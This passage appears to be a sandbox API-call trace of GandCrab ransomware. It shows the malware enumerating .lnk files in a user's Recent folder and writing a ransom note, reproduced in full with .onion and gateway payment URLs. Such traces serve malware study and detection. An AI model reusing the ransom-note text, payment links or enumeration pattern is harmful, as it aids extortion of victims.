returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxlpD7In_.lnk" [0054.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxlpD7In_.lnk") returned 76 [0054.799] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.799] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.799] lstrcmpW (lpString1="XZ8M.lnk", lpString2=".") returned 1 [0054.799] lstrcmpW (lpString1="XZ8M.lnk", lpString2="..") returned 1 [0054.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="XZ8M.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XZ8M.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XZ8M.lnk" [0054.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XZ8M.lnk") returned 71 [0054.799] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.799] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.799] lstrcmpW (lpString1="y-GP 4d2ufj1t1Q8BO.lnk", lpString2=".") returned 1 [0054.799] lstrcmpW (lpString1="y-GP 4d2ufj1t1Q8BO.lnk", lpString2="..") returned 1 [0054.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="y-GP 4d2ufj1t1Q8BO.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y-GP 4d2ufj1t1Q8BO.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y-GP 4d2ufj1t1Q8BO.lnk" [0054.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y-GP 4d2ufj1t1Q8BO.lnk") returned 85 [0054.799] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.799] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.799] lstrcmpW (lpString1="y4zEZYY.lnk", lpString2=".") returned 1 [0054.799] lstrcmpW (lpString1="y4zEZYY.lnk", lpString2="..") returned 1 [0054.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="y4zEZYY.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y4zEZYY.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y4zEZYY.lnk" [0054.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y4zEZYY.lnk") returned 74 [0054.799] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.799] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.799] lstrcmpW (lpString1="y8Dt5yt-qFapkL0CAmn.lnk", lpString2=".") returned 1 [0054.799] lstrcmpW (lpString1="y8Dt5yt-qFapkL0CAmn.lnk", lpString2="..") returned 1 [0054.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="y8Dt5yt-qFapkL0CAmn.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y8Dt5yt-qFapkL0CAmn.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y8Dt5yt-qFapkL0CAmn.lnk" [0054.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y8Dt5yt-qFapkL0CAmn.lnk") returned 86 [0054.799] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.799] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.799] lstrcmpW (lpString1="Yao_HXWP.lnk", lpString2=".") returned 1 [0054.799] lstrcmpW (lpString1="Yao_HXWP.lnk", lpString2="..") returned 1 [0054.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Yao_HXWP.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yao_HXWP.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yao_HXWP.lnk" [0054.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yao_HXWP.lnk") returned 75 [0054.799] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.799] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.799] lstrcmpW (lpString1="YctSMdD9.lnk", lpString2=".") returned 1 [0054.799] lstrcmpW (lpString1="YctSMdD9.lnk", lpString2="..") returned 1 [0054.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="YctSMdD9.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YctSMdD9.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YctSMdD9.lnk" [0054.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YctSMdD9.lnk") returned 75 [0054.799] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.800] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.800] lstrcmpW (lpString1="yk_ykl4.lnk", lpString2=".") returned 1 [0054.800] lstrcmpW (lpString1="yk_ykl4.lnk", lpString2="..") returned 1 [0054.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="yk_ykl4.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yk_ykl4.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yk_ykl4.lnk" [0054.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yk_ykl4.lnk") returned 74 [0054.800] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.800] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.800] lstrcmpW (lpString1="Ymssxu72LfvGM.lnk", lpString2=".") returned 1 [0054.800] lstrcmpW (lpString1="Ymssxu72LfvGM.lnk", lpString2="..") returned 1 [0054.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Ymssxu72LfvGM.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ymssxu72LfvGM.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ymssxu72LfvGM.lnk" [0054.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ymssxu72LfvGM.lnk") returned 80 [0054.800] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.800] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.800] lstrcmpW (lpString1="yWYXQBe8hOW.lnk", lpString2=".") returned 1 [0054.800] lstrcmpW (lpString1="yWYXQBe8hOW.lnk", lpString2="..") returned 1 [0054.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="yWYXQBe8hOW.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yWYXQBe8hOW.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yWYXQBe8hOW.lnk" [0054.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yWYXQBe8hOW.lnk") returned 78 [0054.800] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.800] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.800] lstrcmpW (lpString1="yx09evjd3tm-ElFRU4jJ.lnk", lpString2=".") returned 1 [0054.800] lstrcmpW (lpString1="yx09evjd3tm-ElFRU4jJ.lnk", lpString2="..") returned 1 [0054.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="yx09evjd3tm-ElFRU4jJ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yx09evjd3tm-ElFRU4jJ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yx09evjd3tm-ElFRU4jJ.lnk" [0054.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yx09evjd3tm-ElFRU4jJ.lnk") returned 87 [0054.800] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.800] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.800] lstrcmpW (lpString1="yzRhhBR e0eN.lnk", lpString2=".") returned 1 [0054.800] lstrcmpW (lpString1="yzRhhBR e0eN.lnk", lpString2="..") returned 1 [0054.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="yzRhhBR e0eN.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yzRhhBR e0eN.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yzRhhBR e0eN.lnk" [0054.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yzRhhBR e0eN.lnk") returned 79 [0054.800] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.800] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.800] lstrcmpW (lpString1="zbt 1EdBZB.lnk", lpString2=".") returned 1 [0054.800] lstrcmpW (lpString1="zbt 1EdBZB.lnk", lpString2="..") returned 1 [0054.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="zbt 1EdBZB.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zbt 1EdBZB.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zbt 1EdBZB.lnk" [0054.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zbt 1EdBZB.lnk") returned 77 [0054.800] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.800] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.800] lstrcmpW (lpString1="ZDva7C73jglno2II.lnk", lpString2=".") returned 1 [0054.800] lstrcmpW (lpString1="ZDva7C73jglno2II.lnk", lpString2="..") returned 1 [0054.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ZDva7C73jglno2II.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDva7C73jglno2II.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDva7C73jglno2II.lnk" [0054.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDva7C73jglno2II.lnk") returned 83 [0054.800] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.800] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.800] lstrcmpW (lpString1="ZgA4eFUdQ2ea.lnk", lpString2=".") returned 1 [0054.800] lstrcmpW (lpString1="ZgA4eFUdQ2ea.lnk", lpString2="..") returned 1 [0054.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ZgA4eFUdQ2ea.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZgA4eFUdQ2ea.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZgA4eFUdQ2ea.lnk" [0054.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZgA4eFUdQ2ea.lnk") returned 79 [0054.800] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.800] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.800] lstrcmpW (lpString1="ZHBVSc7E1Gs.lnk", lpString2=".") returned 1 [0054.800] lstrcmpW (lpString1="ZHBVSc7E1Gs.lnk", lpString2="..") returned 1 [0054.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ZHBVSc7E1Gs.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZHBVSc7E1Gs.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZHBVSc7E1Gs.lnk" [0054.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZHBVSc7E1Gs.lnk") returned 78 [0054.800] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.800] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.800] lstrcmpW (lpString1="zQ2RNryyQvoJvOOlXhWv.lnk", lpString2=".") returned 1 [0054.800] lstrcmpW (lpString1="zQ2RNryyQvoJvOOlXhWv.lnk", lpString2="..") returned 1 [0054.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="zQ2RNryyQvoJvOOlXhWv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zQ2RNryyQvoJvOOlXhWv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zQ2RNryyQvoJvOOlXhWv.lnk" [0054.801] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zQ2RNryyQvoJvOOlXhWv.lnk") returned 87 [0054.801] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.801] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.801] lstrcmpW (lpString1="ZV1D_nCny.lnk", lpString2=".") returned 1 [0054.801] lstrcmpW (lpString1="ZV1D_nCny.lnk", lpString2="..") returned 1 [0054.801] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ZV1D_nCny.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZV1D_nCny.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZV1D_nCny.lnk" [0054.801] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZV1D_nCny.lnk") returned 76 [0054.801] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.801] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.801] lstrcmpW (lpString1="_gco.lnk", lpString2=".") returned 1 [0054.801] lstrcmpW (lpString1="_gco.lnk", lpString2="..") returned 1 [0054.801] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="_gco.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_gco.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_gco.lnk" [0054.801] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_gco.lnk") returned 71 [0054.801] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.801] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.801] lstrcmpW (lpString1="_K46etKVMAaI10T6boQ.lnk", lpString2=".") returned 1 [0054.801] lstrcmpW (lpString1="_K46etKVMAaI10T6boQ.lnk", lpString2="..") returned 1 [0054.801] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="_K46etKVMAaI10T6boQ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_K46etKVMAaI10T6boQ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_K46etKVMAaI10T6boQ.lnk" [0054.801] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_K46etKVMAaI10T6boQ.lnk") returned 86 [0054.801] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.801] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.801] FindClose (in: hFindFile=0x5b8af0 | out: hFindFile=0x5b8af0) returned 1 [0054.801] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.801] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\GDCB-DECRYPT.txt") returned 80 [0054.801] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\recent\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.802] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.802] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.802] CloseHandle (hObject=0x4fc) returned 1 [0054.802] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.802] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 63 [0054.802] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*" [0054.802] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8af0 [0054.802] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.803] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.803] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.803] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.803] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.803] lstrcmpW (lpString1="-5DB1ff.lnk", lpString2=".") returned 1 [0054.803] lstrcmpW (lpString1="-5DB1ff.lnk", lpString2="..") returned 1 [0054.803] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-5DB1ff.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk" [0054.836] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.836] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk") returned 74 [0054.836] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk") returned 74 [0054.836] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.837] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.837] lstrcmpW (lpString1="-XKS.lnk", lpString2=".") returned 1 [0054.837] lstrcmpW (lpString1="-XKS.lnk", lpString2="..") returned 1 [0054.837] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-XKS.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk" [0054.837] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.837] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk") returned 71 [0054.837] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk") returned 71 [0054.837] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.837] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.837] lstrcmpW (lpString1="-__krKwuDNCw7vix_s.lnk", lpString2=".") returned 1 [0054.837] lstrcmpW (lpString1="-__krKwuDNCw7vix_s.lnk", lpString2="..") returned 1 [0054.837] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-__krKwuDNCw7vix_s.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk" [0054.837] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.837] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk") returned 85 [0054.837] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk") returned 85 [0054.837] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.837] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.837] lstrcmpW (lpString1="004-sn-0z5C.lnk", lpString2=".") returned 1 [0054.838] lstrcmpW (lpString1="004-sn-0z5C.lnk", lpString2="..") returned 1 [0054.838] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="004-sn-0z5C.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk" [0054.838] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.838] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk") returned 78 [0054.838] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk") returned 78 [0054.838] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.838] 